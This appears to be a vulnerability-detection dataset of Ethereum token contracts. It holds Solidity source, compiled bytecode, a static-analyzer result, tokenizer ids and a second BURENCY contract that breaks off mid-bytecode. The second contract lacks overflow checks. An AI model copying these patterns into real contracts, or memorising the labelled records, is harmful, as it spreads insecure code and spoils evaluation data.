emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { // freezing chains mapping (bytes32 => uint64) internal chains; // freezing amounts for each chain mapping (bytes32 => uint) internal freezings; // total freezing balance per address mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); /** * @dev Gets the balance of the specified address include freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } /** * @dev Gets the balance of the specified address without freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } /** * @dev gets freezing count * @param _addr Address of freeze tokens owner. */ function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } /** * @dev gets freezing end date and freezing balance for the freezing portion specified by index. * @param _addr Address of freeze tokens owner. * @param _index Freezing portion index. It ordered by release date descending. */ function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } /** * @dev freeze your tokens to the specified address. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to freeze. * @param _until Release date, must be in future. */ function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } /** * @dev release first available freezing tokens. */ function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } /** * @dev release all available for release freezing tokens. Gas usage is not deterministic! * @return how many tokens was released */ function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { // WISH masc to increase entropy result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, and(_release, 0xffffffffffffffff)) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { /** * @dev Mint the specified amount of token to the specified address and freeze it until the specified date. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to mint and freeze. * @param _until Release date, must be in future. * @return A boolean that indicates if the operation was successful. */ function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 9; uint8 public constant TOKEN_DECIMALS_UINT8 = 9; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "ffff"; string public constant TOKEN_SYMBOL = "fff"; bool public constant PAUSED = false; address public constant TARGET_USER = 0xDbc5A547CbE9591EC54Ef8d0fA5bFd1b45dd32ac; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
0x6080604052600436106101d65763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416623fd35a81146101db57806302d6f7301461020457806305d2035b1461024c57806306fdde0314610261578063095ea7b3146102eb5780630bb2cd6b1461030f578063158ef93e1461034057806317a950ac1461035557806318160ddd14610388578063188214001461039d57806323b872dd146103b25780632a905318146103dc578063313ce567146103f15780633be1e9521461041c5780633f4ba83a1461044f57806340c10f191461046457806342966c681461048857806356780085146104a05780635b7f415c146104b55780635be7fde8146104ca5780635c975abb146104df57806366188463146104f457806366a92cda1461051857806370a082311461052d578063715018a61461054e578063726a431a146105635780637d64bcb4146105945780638456cb59146105a95780638da5cb5b146105be57806395d89b41146105d3578063a9059cbb146105e8578063a9aad58c1461060c578063ca63b5b814610621578063cf3b196714610642578063d73dd62314610657578063d8aeedf51461067b578063dd62ed3e1461069c578063f2fde38b146106c3575b600080fd5b3480156101e757600080fd5b506101f06106e4565b604080519115158252519081900360200190f35b34801561021057600080fd5b50610228600160a060020a03600435166024356106e9565b6040805167ffffffffffffffff909316835260208301919091528051918290030190f35b34801561025857600080fd5b506101f0610776565b34801561026d57600080fd5b50610276610786565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102b0578181015183820152602001610298565b50505050905090810190601f1680156102dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f757600080fd5b506101f0600160a060020a03600435166024356107bd565b34801561031b57600080fd5b506101f0600160a060020a036004351660243567ffffffffffffffff60443516610823565b34801561034c57600080fd5b506101f06109c1565b34801561036157600080fd5b50610376600160a060020a03600435166109e4565b60408051918252519081900360200190f35b34801561039457600080fd5b506103766109f5565b3480156103a957600080fd5b506102766109fb565b3480156103be57600080fd5b506101f0600160a060020a0360043581169060243516604435610a32565b3480156103e857600080fd5b50610276610a5f565b3480156103fd57600080fd5b50610406610a96565b6040805160ff9092168252519081900360200190f35b34801561042857600080fd5b5061044d600160a060020a036004351660243567ffffffffffffffff60443516610a9b565b005b34801561045b57600080fd5b5061044d610c0f565b34801561047057600080fd5b506101f0600160a060020a0360043516602435610c88565b34801561049457600080fd5b5061044d600435610d80565b3480156104ac57600080fd5b50610376610d8d565b3480156104c157600080fd5b50610376610d95565b3480156104d657600080fd5b50610376610d9a565b3480156104eb57600080fd5b506101f0610dff565b34801561050057600080fd5b506101f0600160a060020a0360043516602435610e0f565b34801561052457600080fd5b5061044d610eff565b34801561053957600080fd5b50610376600160a060020a03600435166110a2565b34801561055a57600080fd5b5061044d6110cb565b34801561056f57600080fd5b50610578611139565b60408051600160a060020a039092168252519081900360200190f35b3480156105a057600080fd5b506101f0611151565b3480156105b557600080fd5b5061044d6111d5565b3480156105ca57600080fd5b50610578611253565b3480156105df57600080fd5b50610276611262565b3480156105f457600080fd5b506101f0600160a060020a0360043516602435611299565b34801561061857600080fd5b506101f06112c4565b34801561062d57600080fd5b50610376600160a060020a03600435166112c9565b34801561064e57600080fd5b50610406610d95565b34801561066357600080fd5b506101f0600160a060020a036004351660243561134f565b34801561068757600080fd5b50610376600160a060020a03600435166113e8565b3480156106a857600080fd5b50610376600160a060020a0360043581169060243516611403565b3480156106cf57600080fd5b5061044d600160a060020a036004351661142e565b600181565b600080805b836001018110156107425760036000610711878667ffffffffffffffff1661144e565b815260208101919091526040016000205467ffffffffffffffff16925082151561073a5761076e565b6001016106ee565b6004600061075a878667ffffffffffffffff1661144e565b815260208101919091526040016000205491505b509250929050565b60065460a060020a900460ff1681565b60408051808201909152600481527f6666666600000000000000000000000000000000000000000000000000000000602082015290565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6006546000908190600160a060020a0316331461083f57600080fd5b60065460a060020a900460ff161561085657600080fd5b600154610869908563ffffffff61148c16565b6001556108808567ffffffffffffffff851661144e565b6000818152600460205260409020549091506108a2908563ffffffff61148c16565b600082815260046020908152604080832093909355600160a060020a03881682526005905220546108d9908563ffffffff61148c16565b600160a060020a0386166000908152600560205260409020556108fc8584611499565b604080518581529051600160a060020a038716917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a26040805167ffffffffffffffff85168152602081018690528151600160a060020a038816927f2ecd071e4d10ed2221b04636ed0724cce66a873aa98c1a31b4bb0e6846d3aab4928290030190a2604080518581529051600160a060020a038716913391600080516020611a028339815191529181900360200190a3506001949350505050565b600654760100000000000000000000000000000000000000000000900460ff1681565b60006109ef82611633565b92915050565b60015490565b60408051808201909152600481527f6666666600000000000000000000000000000000000000000000000000000000602082015281565b60065460009060a860020a900460ff1615610a4c57600080fd5b610a5784848461164e565b949350505050565b60408051808201909152600381527f6666660000000000000000000000000000000000000000000000000000000000602082015281565b600990565b6000600160a060020a0384161515610ab257600080fd5b33600090815260208190526040902054831115610ace57600080fd5b33600090815260208190526040902054610aee908463ffffffff6117b316565b33600090815260208190526040902055610b128467ffffffffffffffff841661144e565b600081815260046020526040902054909150610b34908463ffffffff61148c16565b600082815260046020908152604080832093909355600160a060020a0387168252600590522054610b6b908463ffffffff61148c16565b600160a060020a038516600090815260056020526040902055610b8e8483611499565b604080518481529051600160a060020a038616913391600080516020611a028339815191529181900360200190a36040805167ffffffffffffffff84168152602081018590528151600160a060020a038716927f2ecd071e4d10ed2221b04636ed0724cce66a873aa98c1a31b4bb0e6846d3aab4928290030190a250505050565b600654600160a060020a03163314610c2657600080fd5b60065460a860020a900460ff161515610c3e57600080fd5b6006805475ff000000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600654600090600160a060020a03163314610ca257600080fd5b60065460a060020a900460ff1615610cb957600080fd5b600154610ccc908363ffffffff61148c16565b600155600160a060020a038316600090815260208190526040902054610cf8908363ffffffff61148c16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a03851691600091600080516020611a028339815191529181900360200190a350600192915050565b610d8a33826117c5565b50565b633b9aca0081565b600981565b6000806000610daa3360006106e9565b67ffffffffffffffff909116925090505b8115801590610dc957508142115b15610dfa57610dd6610eff565b91820191610de53360006106e9565b67ffffffffffffffff90911692509050610dbb565b505090565b60065460a860020a900460ff1681565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610e6457336000908152600260209081526040808320600160a060020a0388168452909152812055610e99565b610e74818463ffffffff6117b316565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000806000806000610f1233600061144e565b60008181526003602052604090205490955067ffffffffffffffff169350831515610f3c57600080fd5b8367ffffffffffffffff164267ffffffffffffffff16111515610f5e57600080fd5b610f72338567ffffffffffffffff1661144e565b600081815260036020908152604080832054600483528184208054908590553385529284905292205492955067ffffffffffffffff90911693509150610fbe908263ffffffff61148c16565b3360009081526020818152604080832093909355600590522054610fe8908263ffffffff6117b316565b3360009081526005602052604090205567ffffffffffffffff8216151561102b576000858152600360205260409020805467ffffffffffffffff19169055611065565b600085815260036020526040808220805467ffffffffffffffff861667ffffffffffffffff19918216179091558583529120805490911690555b60408051828152905133917fb21fb52d5749b80f3182f8c6992236b5e5576681880914484d7f4c9b062e619e919081900360200190a25050505050565b600160a060020a0381166000908152600560205260408120546110c483611633565b0192915050565b600654600160a060020a031633146110e257600080fd5b600654604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26006805473ffffffffffffffffffffffffffffffffffffffff19169055565b73dbc5a547cbe9591ec54ef8d0fa5bfd1b45dd32ac81565b600654600090600160a060020a0316331461116b57600080fd5b60065460a060020a900460ff161561118257600080fd5b6006805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600654600160a060020a031633146111ec57600080fd5b60065460a860020a900460ff161561120357600080fd5b6006805475ff000000000000000000000000000000000000000000191660a860020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600654600160a060020a031681565b60408051808201909152600381527f6666660000000000000000000000000000000000000000000000000000000000602082015290565b60065460009060a860020a900460ff16156112b357600080fd5b6112bd83836118b4565b9392505050565b600081565b600080600360006112db85600061144e565b815260208101919091526040016000205467ffffffffffffffff1690505b67ffffffffffffffff81161561134957600190910190600360006113278567ffffffffffffffff851661144e565b815260208101919091526040016000205467ffffffffffffffff1690506112f9565b50919050565b336000908152600260209081526040808320600160a060020a0386168452909152812054611383908363ffffffff61148c16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526005602052604090205490565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600654600160a060020a0316331461144557600080fd5b610d8a81611983565b67ffffffffffffffff166801000000000000000091909102177f57495348000000000000000000000000000000000000000000000000000000001790565b818101828110156109ef57fe5b6000808080804267ffffffffffffffff8716116114b557600080fd5b6114c9878767ffffffffffffffff1661144e565b94506114d687600061144e565b60008181526003602052604090205490945067ffffffffffffffff169250821515611529576000848152600360205260409020805467ffffffffffffffff191667ffffffffffffffff881617905561162a565b61153d878467ffffffffffffffff1661144e565b91505b67ffffffffffffffff83161580159061156c57508267ffffffffffffffff168667ffffffffffffffff16115b156115a5575060008181526003602052604090205490925067ffffffffffffffff9081169183911661159e878461144e565b9150611540565b8267ffffffffffffffff168667ffffffffffffffff1614156115c65761162a565b67ffffffffffffffff831615611600576000858152600360205260409020805467ffffffffffffffff191667ffffffffffffffff85161790555b6000848152600360205260409020805467ffffffffffffffff191667ffffffffffffffff88161790555b50505050505050565b600160a060020a031660009081526020819052604090205490565b6000600160a060020a038316151561166557600080fd5b600160a060020a03841660009081526020819052604090205482111561168a57600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156116ba57600080fd5b600160a060020a0384166000908152602081905260409020546116e3908363ffffffff6117b316565b600160a060020a038086166000908152602081905260408082209390935590851681522054611718908363ffffffff61148c16565b600160a060020a0380851660009081526020818152604080832094909455918716815260028252828120338252909152205461175a908363ffffffff6117b316565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020611a02833981519152929181900390910190a35060019392505050565b6000828211156117bf57fe5b50900390565b600160a060020a0382166000908152602081905260409020548111156117ea57600080fd5b600160a060020a038216600090815260208190526040902054611813908263ffffffff6117b316565b600160a060020a03831660009081526020819052604090205560015461183f908263ffffffff6117b316565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a03851691600080516020611a028339815191529181900360200190a35050565b6000600160a060020a03831615156118cb57600080fd5b336000908152602081905260409020548211156118e757600080fd5b33600090815260208190526040902054611907908363ffffffff6117b316565b3360009081526020819052604080822092909255600160a060020a03851681522054611939908363ffffffff61148c16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020611a028339815191529281900390910190a350600192915050565b600160a060020a038116151561199857600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582087504bc5f3fd3cc4945c16f6f48905536056572f4fbbc5bcf54eb7a8a4bb0a300029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2475, 2278, 2546, 2629, 2497, 2683, 22407, 22275, 2683, 2063, 2683, 2683, 2549, 2050, 2549, 2094, 2692, 22394, 2683, 14526, 21486, 2546, 2629, 2278, 23499, 2050, 2475, 2050, 2683, 2683, 21926, 1013, 1008, 1008, 1008, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 1008, 2009, 2104, 1996, 3408, 1997, 1996, 27004, 8276, 2236, 2270, 6105, 2004, 2405, 2011, 1008, 1996, 2489, 4007, 3192, 1010, 2593, 2544, 1017, 1997, 1996, 6105, 1010, 2030, 1008, 1006, 2012, 2115, 5724, 1007, 2151, 2101, 2544, 1012, 1008, 1008, 2023, 2565, 2003, 5500, 1999, 1996, 3246, 2008, 2009, 2097, 2022, 6179, 1010, 1008, 2021, 2302, 2151, 10943, 2100, 1025, 2302, 2130, 1996, 13339, 10943, 2100, 1997, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,075
0x962e05d654c66bcb164ee61d4b3391226ec505b7
pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract BURENCY is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function BURENCY( ) { balances[msg.sender] = 700000000000000000000000000; totalSupply = 700000000000000000000000000; name = "BURENCY"; decimals = 18; symbol = "BUY"; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100c1578063095ea7b31461015157806318160ddd146101b657806323b872dd146101e1578063313ce5671461026657806354fd4d501461029757806370a082311461032757806395d89b411461037e578063a9059cbb1461040e578063cae9ca5114610473578063dd62ed3e1461051e575b3480156100bb57600080fd5b50600080fd5b3480156100cd57600080fd5b506100d6610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101165780820151818401526020810190506100fb565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015d57600080fd5b5061019c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610633565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610725565b6040518082815260200191505060405180910390f35b3480156101ed57600080fd5b5061024c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072b565b604051808215151515815260200191505060405180910390f35b34801561027257600080fd5b5061027b6109a4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a357600080fd5b506102ac6109b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ec5780820151818401526020810190506102d1565b50505050905090810190601f1680156103195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a55565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610a9d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b50610459600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3b565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610ca1565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3e565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107f7575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156108035750600082115b1561099857816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061099d565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4d5780601f10610a2257610100808354040283529160200191610a4d565b820191906000526020600020905b815481529060010190602001808311610a3057829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b8b5750600082115b15610c9657816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c9b565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258560405180828152602001915050604